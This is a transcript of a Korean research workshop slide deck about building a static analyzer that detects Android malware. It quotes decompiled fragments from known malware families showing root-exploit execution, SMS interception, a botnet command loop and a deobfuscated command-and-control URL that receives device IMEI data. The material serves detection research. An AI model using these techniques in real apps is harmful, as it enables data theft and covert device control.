course A 루트 소개 에도시대를 느낄 수 1 있는 …...도쿄타워를 한번에 볼 수 있는 데이트 장소. 1873년에 개원하여, 일본에서 도 오래된 공원
ROSAEC Center - 안드로이드 악성앱 정적...
Transcript of ROSAEC Center - 안드로이드 악성앱 정적...
안드로이드 악성앱 정적 분석기
윤용호 서울대학교 프로그래밍 연구실
!2014.07.29
ROSAEC Workshop
왜? - 악성앱
• 악성앱은 계속 나오는데
악성앱은 계속 나오거든요!
왜? - 악성앱
• 악성앱은 계속 나오는데
• 제대로 된 해법은 나오지 않음
왜? - 악성앱
• 악성앱은 계속 나오는데
• 제대로 된 해법은 나오지 않음
• 악성앱을 수작업으로 분류했거나
왜? - 악성앱
• 악성앱은 계속 나오는데
• 제대로 된 해법은 나오지 않음
• 악성앱을 수작업으로 분류했거나
• 코드 패턴으로, 알려진 악성앱만 검출하거나
왜? - 악성앱
• 악성앱은 계속 나오는데
• 제대로 된 해법이 나오지 않음
• 악성앱을 수작업으로 분류했거나
• 코드 패턴으로, 알려진 악성앱만 검출하거나
• 개인정보 누출만 찾거나
왜? - ScanDal
• 우리에게 ScanDal/Privacy가 있음
• 잘 작동하는 앞단
• 꽤 깊은 의미 분석
왜? - ScanDal
• 우리에게 ScanDal/Privacy가 있음
• 잘 작동하는 앞단
• 꽤 깊은 의미 분석
• 조금만 고치면 확장될 것 같은데…?
뭘 좀 쐈으면 좋겠는데?!
왜? - ScanDal• 우리에게 ScanDal/Privacy가 있음
• 잘 작동하는 앞단
• 꽤 깊은 의미 분석
• 조금만 고치면 확장될 것 같은데…?
• 코드 정리가 하고싶음
• 동료들이 연구에 참여하기 쉽도록
두 단계로 이루어진 목표• 다양한 분석을 구현할 수 있는, 유용한 안드로이드 정적 분석 프레임워크 구현 및 공개
• 그 프레임워크 위에서 악성앱 검출기 만들기
오늘 할 이야기
• 코드 곧 공개 됩니다
!
• 안드로이드 앱의 악성 행동은 어떤 것이 있는지
• 어떻게 분석하면 좋을지
악성앱들이 하는 짓
• 자신의 나쁜 짓을 숨기기 위한 행동
• 대표적으로, 난독화
!
• 사용자에게 피해를 주는 나쁜 행동
악성 행동*
• Exploit(비정상적인 루트 권한 획득)
• 개인정보 누출
• 수신한 SMS 훔치기(사용자가 볼 수 없도록)
• SMS 몰래 보내기
• 봇넷(좀비화)
* Yajin Zhou, and Xuxian Jiang, “Dissecting Android Malware: Characterization and Evolution”, Proceedings of the 33rd IEEE Symposium on Security and Privacy (Oakland 2012)13
Exploit
• 유저 몰래 루트 권한을 획득
!
• 루트 권한이 있으면 기기에 거의 모든 일을 할 수 있음
!
• Runtime.exec(파일이름)으로 준비된 공격 바이너리 실행
14
Runtime.exec• 악성앱이 루트 권한 획득을 위해 호출할 때는
• asset이라는 형태로 앱 패키지에 파일 내용을 기록해둠
• asset을 읽어 파일에 쓴 후 그 파일 이름으로 호출
!
• 일반 앱이 이 함수를 호출할 때는
• linux 명령어(ls, chmod, logcat, kill 등의) 실행을 위해 호출
!
• 그러므로, 분석할 땐 인자의 문자열만 잘 분석해도 될 것
15
악성앱의 Runtime.exec 예*DroidKungFu1의 28176bc34e54e087e90bbbaba0c846ec9182db17
class com.google.ssearch.Utils {! copyAssets(ctx, animi, fname) {! out = new FileOutputStream(fname);! in = ctx.getAssets().open(aname);! if(aname.equals(“gjsvro”) ||! aname.equals(“ratc”) {! buf = new byte[SIZE];! in.read(buf);! buf = decrypt(buf);! out.write(buf);! }! else(…) {…} // other files! …! }!}
google인 척 하는 가짜
지정된 두 파일만decrypt 후 저장하고 다른 파일은 바로 저장
16
악성앱의 Runtime.exec 예
class com.google.ssearch.SearchService {! getPermission1() {! s = “/gjsvro”;! fname = “/data/data/“ + packageName + s;! Utils.copyAssets(ctx, s, fname);!! cmd = “/system/bin/chmod”;! arg = “4755 “ + fname;! Utils.oldrun(cmd, arg);!! cmd2 = fname + “ /data/data/“ + packageName;! Utils.oldrun(cmd2, “”);! }!}
실행 권한을 주고
실행
*DroidKungFu1의 28176bc34e54e087e90bbbaba0c846ec9182db17
17
개인정보 누출• 개인정보의 소스에서 싱크로 값 전달
• 매 워크샵마다 하던 이야기이므로 자세한 것은 생략
18
수신한 SMS 훔치기• 특정 SMS를 훔쳐보거나 사용자가 볼 수 없게 조작
• 예: 과금 서비스에 몰래 가입한 후 확인 문자를 훔치기
• BroadcastReceiver로 SMS 수신 신호를 받고abortBroadcast를 호출하면 사용자가 확인할 수 없게 됨
• SMSBroadcastReceiver로부터abort를 호출하는 실행 흐름이존재할 수 있는지 분석하면 됨
19
악성앱의 abortBroadcastclass SMSBroadcastReceiver extends BroadcastReceiver {! onReceive(ctx, intent) {! …! arr = (Object[]) intent.getExtras().get(“pdus”);! marr = new SmsMessage[arr.length];! for(i=0;i<arr.length;i++) {! buf = (byte[])arr[i];! msg = SmsMessage.createFromPdu(buf);! marr[i] = msg;! }! s = marr[0].getMessageBody();! s2 = SharedPreference.getString! (“sms_keyword”, “Bring me back my droid”);! if(!s.equalsIgnoreCase(s2)) return;! abortBroadcast();! …! }!}
Manifest에 등록해둔, SMS 수신 감지 리시버
intent에서 문자 메시지 데이터를 뽑아둠
지정해둔 내용과 일치하는 메시지이면
abort
*Plankton의 202252e3767456e95b27d0476ae29bcc11253c1e
20
일반앱의 abortBroadcast
• galaxynote2 기본앱 SecEmail에서비슷한 패턴으로 SMSBroadcast를 abort 함
• 어떤 메일 서비스 관련 알림을 SMS로 받고 로그만 남긴 후abort 하는 것으로 보임
!
• 사용자가 인지하고 있는 abort인지 물어보는 식으로 경보
21
SMS 몰래 보내기• sendTextMessage로 문자메시지를 보낼 수 있음
• 악성앱은 앱 실행 이후 유저 입력을 거치지 않고도 문자를 보냄
• 일반앱은 유저 입력(예: onClick)을 거쳐 문자를 보냄
!
• 프로그램 시작점~sendTextMessage 사이에유저 입력 이벤트가 반드시 존재하는지 분석
22
봇넷
• DDOS 공격 등에 이용하기 위해 기기를 감염시킴
• 감염된 기기에는 악성앱이 상주하며 공격자의 명령들을 수행함
!
• 특별히 특정할 만한 분석 방법아이디어는 아직 없음
23
봇넷 앱의 특징• 기기에서 항상 실행돼있어야 하므로
• 기기가 부팅되자마자 자동으로 실행
• 서비스가 백그라운드로 계속 유지됨
!
• 공격자의 명령을 수행해야하므로
• 상주하는 서비스에서 외부 명령을 네트워크를 통해 받고
• 가상머신처럼 명령에 따라 분기하여 명령 수행
24
봇넷 앱의 예AndroidManifest.xml!…! <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" >…! <receiver android:name="com.android.AndroidActionReceiver" > <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED" > </action> </intent-filter> </receiver>
*Pjapp의 75a79a3ad1ff291ee1d9c614010ba17ae9f09255
권한 필요
부팅할 때마다 호출됨
class AndroidActionReceiver extends BroadcastReceiver {! onReceive(context, intent) {! i = new Intent(context, MainService.class);! startService(i); }!}
MainService를 부팅할 때마다 시작
25
봇넷 앱의 예class MainService extends Service {! execTask() {! … // imei 등 온갖 기기 정보를 수집! url = “http://“ +! com.android.Base64.encode(“axdmflsadneddrwo3i2df138a8bcao3m”, 1)! + “:8118/push/androidxml/“;! url = url + …; // 위에서 수집한 정보들을 parameter로 이어붙임! xml = BaseAuthenicationHttpClient.getStringByURL(url);! cmd = StringUtil.getSubString(xml, “<task>”, “</task>”);! …! if(cmd = “note”) sendSms(…);! if(cmd = “push”) execPush(…);! if(cmd = “soft”) execSoft(…);! if(cmd = “tanc”) execSoft(…);! if(cmd = “tanc” || cmd = “xbox”) return;! if(cmd = “mark”) execMark(…); }!}
*Pjapp의 75a79a3ad1ff291ee1d9c614010ba17ae9f09255
명령 수행
26
자신을 숨기는 행동
• 직접 나쁜 일을 하진 않고, 진짜 악성앱을 설치하도록 유도
• 앱 간 통신을 통해 개인정보 누출
• 문자열을 적극 활용
• 문자열을 쉽게 알아볼 수 없도록 숨김
27
Don’t let them see!
악성앱 설치 유도• asset에 악성앱 파일을 저장해놓고 설치하도록 함
• 업데이트 하라는 메시지를 출력하고 네트워크로부터 악성 버전 앱을 다운받아 설치함
• 마켓 시스템에 대해 잘 모르는 일반인은 당하기 쉬움
!
• 업데이트 및 앱 설치는마켓을 통해 이뤄져야 하므로, 앱 설치 유도 자체를 무조건 악성 행동으로 볼 수 있음
28
앱 설치를 시도하는지 분석하는 방법
File apkFile = new File(inputFile); Uri apkUri = Uri.fromFile(apkFile); Intent intent = new Intent(Intent.ACTION VIEW);!intent.setDataAndType(apkUri, "application/vnd.android.package-archive"); startActivity(intent);
• intent의 action, data, type이 앱 설치 시도인 경우를 찾으면 됨
29
앱 간 통신을 이용하는 경우• 앱 1에서 intent를 통해 앱 2로 개인정보를 전송
• 앱 2에서는 intent로 받은 개인정보를 밖으로 누출
• 따로 떼어놓고 보면 (정의하기에 따라) 누출이 아닌 앱
!
• intent를 소스, 싱크로 두면 기존 방식으로도 잡을 수 있지만 허위 경보가 많아짐
• 두 앱을 붙여서 동시에 분석하여 해결 가능
• 시작점이 두 개 이상인 프로그램처럼
30
문자열의 좋지 않은 활용
• 문자열 상수라 해도 곱게 쓰지 않음
• 중요 값들을 변형시켜서 저장해두었다가 내보냄
• reflection과 함께 활용되기도 함
31
문자열 활용의 예: 아까 그 봇넷 앱
class MainService extends Service {! execTask() {! … // imei 등 온갖 기기 정보를 수집! url = “http://“ +! com.android.Base64.encode(“axdmflsadneddrwo3i2df138a8bcao3m”, 1)! + “:8118/push/androidxml/“;! url = url + …; // 위에서 수집한 정보들을 parameter로 이어붙임! xml = BaseAuthenicationHttpClient.getStringByURL(url);! cmd = StringUtil.getSubString(xml, “<task>”, “</task>”);! …! if(cmd = “note”) sendSms(…);! if(cmd = “push”) execPush(…);! if(cmd = “soft”) execSoft(…);! if(cmd = “tanc”) execSoft(…);! if(cmd = “tanc” || cmd = “xbox”) return;! if(cmd = “mark”) execMark(…); }!}
*Pjapp의 75a79a3ad1ff291ee1d9c614010ba17ae9f09255
명령 수행
32
class MainService extends Service {! execTask() {! … // imei 등 온갖 기기 정보를 수집! url = “http://“ +! com.android.Base64.encode(“axdmflsadneddrwo3i2df138a8bcao3m”, 1)! + “:8118/push/androidxml/“;! url = url + …; // 위에서 수집한 정보들을 parameter로 이어붙임! xml = BaseAuthenicationHttpClient.getStringByURL(url);! cmd = StringUtil.getSubString(xml, “<task>”, “</task>”);! …! if(cmd = “note”) sendSms(…);! if(cmd = “push”) execPush(…);! if(cmd = “soft”) execSoft(…);! if(cmd = “tanc”) execSoft(…);! if(cmd = “tanc” || cmd = “xbox”) return;! if(cmd = “mark”) execMark(…); }!}
*Pjapp의 75a79a3ad1ff291ee1d9c614010ba17ae9f09255
???
33
문자열 활용의 예: 아까 그 봇넷 앱
*Pjapp의 75a79a3ad1ff291ee1d9c614010ba17ae9f09255
class MainService extends Service {! execTask() {! … // imei 등 온갖 기기 정보를 수집! url = “http://“ + com.android.Base64.encode(! “axdmflsadneddrwo3i2df138a8bcao3m”, 1) +! “:8118/push/androidxml/“;! url = url + …; // 위에서 수집한 정보들을 parameter로 이어붙임! xml = BaseAuthenicationHttpClient.getStringByURL(url);! cmd = StringUtil.getSubString(xml, “<task>”, “</task>”);! …! if(cmd = “note”) sendSms(…);! if(cmd = “push”) execPush(…);! if(cmd = “soft”) execSoft(…);! if(cmd = “tanc”) execSoft(…);! if(cmd = “tanc” || cmd = “xbox”) return;! if(cmd = “mark”) execMark(…); }!}
가짜. 실제 Base64 라이브러리는 android.util.Base64임. com.android.Base64엔 자체 제작된 인코더 구현
34
문자열 활용의 예: 아까 그 봇넷 앱
*Pjapp의 75a79a3ad1ff291ee1d9c614010ba17ae9f09255
class com.android.Base64 {! encode(input, flag) {! // input = axdmflsadneddrwo3i2df138a8bcao3m! if(input==null || input.length<10) return "";! buf = new StringBuffer();! for(i=0;i<input.length/2;i++) {! buf = buf + input.subString(i*2+1, i*2+2);! // i=0:(1,2) i=1:(3,4) i=2:(5,6) …! // 홀수 인덱스 글자만 모음! }! odd = buf.toString(); // xmlandroid188com! buf = new StringBuilder(odd.subString(0,3)) + “.”; // “xml.”! buf = buf + odd.subString(3,odd.length-3)+"."; // xml.android188.! buf = buf + odd.subString(odd.length-3); // xml.android188.com! return buf.toString();! }!}
35
문자열 활용의 예: 아까 그 봇넷 앱
*Pjapp의 75a79a3ad1ff291ee1d9c614010ba17ae9f09255
class MainService extends Service {! execTask() {! … // imei 등 온갖 기기 정보를 수집! url = “http://xml.android188.com:8188/push/androidxml/“! url = url + …; // 위에서 수집한 정보들을 parameter로 이어붙임! xml = BaseAuthenicationHttpClient.getStringByURL(url);! cmd = StringUtil.getSubString(xml, “<task>”, “</task>”);! …! if(cmd = “note”) sendSms(…);! if(cmd = “push”) execPush(…);! if(cmd = “soft”) execSoft(…);! if(cmd = “tanc”) execSoft(…);! if(cmd = “tanc” || cmd = “xbox”) return;! if(cmd = “mark”) execMark(…); }!}
36
문자열 활용의 예: 아까 그 봇넷 앱
문자열 활용의 다른 예*Geinimi의 0015e260740a3963c724be95f966c6063077979c
class sex.sexy.model13.e.p {! static byte[] a;! static Cipher b;! static {! t = new byte[101][];! t[0] = new byte[16] {0x55, 0x35, 0x02, 0x34, …};! t[1] = new byte[16] {…};! t[2] = new byte[8] {0xaf, 0xae, 0x2a, 0x9e, …};! …! }! String a(int i) {! if(i<=101) {! byte_array = a(a[i]);! return new String(byte_array, “UTF-8”);! }! else return 0;! }! byte []a(byte input[]) {! // input을 DES decrypt한 결과를 리턴! }!}
예를 들어 t[70]에는 “imei”가 encrypt 되어
들어있을것으로 추정
i번째 array를 꺼내 decrypt 한 후
문자열로 바꿔 리턴
37
*Geinimi의 0015e260740a3963c724be95f966c6063077979c
class sex.sexy.model13.g implements Runnable {! void run() {! …! map = new HashMap();! key = e.p.a(70);! val = e.k.h; // IMEI! map.put(key, val);! …! e.n.a(…, map, …);! }!}!class sex.sexy.model13.e.n {! void a(…, Map map, …) {! buf = new Stringbuffer();! for ((key, val) in map) do {! buf = buf + key + “=“ + val + “&”;! }! url = “http://...” + “parms=“ + buf;! // connect to url! }!}
38
문자열 활용의 다른 예
마무리• 이런 악성앱들을 열심히 잡아보겠습니다
• 코드 잘 정리해 공개하겠습니다
39
!!!
?
질문?
40